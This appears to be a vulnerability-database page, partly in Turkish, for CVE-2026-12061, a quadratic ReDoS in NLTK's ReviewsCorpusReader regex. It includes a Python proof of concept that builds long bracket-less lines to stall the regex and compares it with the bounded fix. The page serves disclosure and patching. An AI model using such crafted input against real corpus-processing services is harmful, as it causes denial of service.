Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex
CVSS Skor
7.5
EPSS İhtimal
—
Risk Skoru
0.8
Yayın
2 ay önce
Etkilenen ürün ve sürüm için yayımlanan güvenlik güncellemesini uygulayın.
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Zafiyet Açıklaması
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CVE-2026-12061 için toplanan üretici, dağıtım, yama ve güvenlik kaynağı kayıtlarını karşılaştırıp kanıt bağlantılı bir açıklama hazırlayalım.
### Summary `ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. ### Details The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes. ### PoC ``` import multiprocessing as mp import re import time # --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 --- FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]") # --- Bounded variant from the fix (PR #3583): cap the per-label word run. # A generous bound (real feature labels are short noun phrases) makes the # run linear while never affecting legitimate corpora. --- WORD_BOUND = 50 FEATURES_FIXED = re.compile( r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND ) TIMEOUT = 20.0 # seconds, per measurement SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line def _bad_line(n_words): """A long line of plain words with NO trailing bracketed annotation.""" return ("word " * n_words).rstrip() def _worker(pattern_str, line, q): pat = re.compile(pattern_str) t0 = time.perf_counter() pat.findall(line) q.put(time.perf_counter() - t0) def timed_findall(pattern, line, timeout=TIMEOUT): """Run pattern.findall(line) in a killable process; return seconds or None (timeout).""" q = mp.Queue() p = mp.Process(target=_worker, args=(pattern.pattern, line, q)) p.start() p.join(timeout) if p.is_alive(): p.terminate() p.join() return None return q.get() if not q.empty() else None def bench(label, pattern): print(f"\n[{label}] pattern: {pattern.pattern}") print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}") prev = None for n in SIZES: line = _bad_line(n) t = timed_findall(pattern, line) if t is None: print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}") prev = None else: ratio = f"{t/prev:.1f}x" if prev else "--" print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}") prev = t def parity_check(): """The bound must NOT change extraction on a realistic annotated line.""" real = ( "the picture quality[+2] and battery life[+1] are great but " "the lens cap[-1] feels cheap and the menu system[-2] is slow" ) a = FEATURES_VULN.findall(real) b = FEATURES_FIXED.findall(real) print("\n[parity] realistic annotated line — extraction must be identical") print(f" vulnerable regex -> {a}") print(f" bounded regex -> {b}") print(f" identical: {a == b}") return a == b def main(): print("=" * 66) print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)") print("=" * 66) print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}") bench("VULNERABLE reviews.py L70-71", FEATURES_VULN) bench("BOUNDED fix #3583", FEATURES_FIXED) same = parity_check() print("\n" + "=" * 66) print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS") print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms") print(f" Extraction parity on real annotations preserved: {same}") print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().") print("=" * 66) if __name__ == "__main__": main() ``` ### Impact Denial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.
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SCORING — CVSS Çoklu Kaynak Skoru
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The Common Vulnerability Scoring System is a standardized framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from various sources for each CVE.
| SCORE | VERSION | SEVERITY | VECTOR | SOURCE |
|---|---|---|---|---|
| 7.5 | CVSS 3.x | — | Vektör yayımlanmadı | GitHub Advisory |
| 0.0 | CVSS 4.0 | — | Vektör yayımlanmadı | GitHub Advisory |
Yama ve İyileştirme Rehberi (Solution)
Solution & Remediation Advisory
1 doğrulanmış yama veya düzeltilmiş sürüm kanıtı bulundu.
3.10.0OSV düzeltilmiş sürüm: 3.10.0
Public exploit ve aktif sömürü durumu
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Zafiyet Dağılımı ve Saldırı Kalıpları (CWE & CAPEC)
CWE - Common Weakness Enumeration
While CVE identifies specific instances of vulnerabilities, CWE categorizes the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-12061 is associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-12061 weaknesses.
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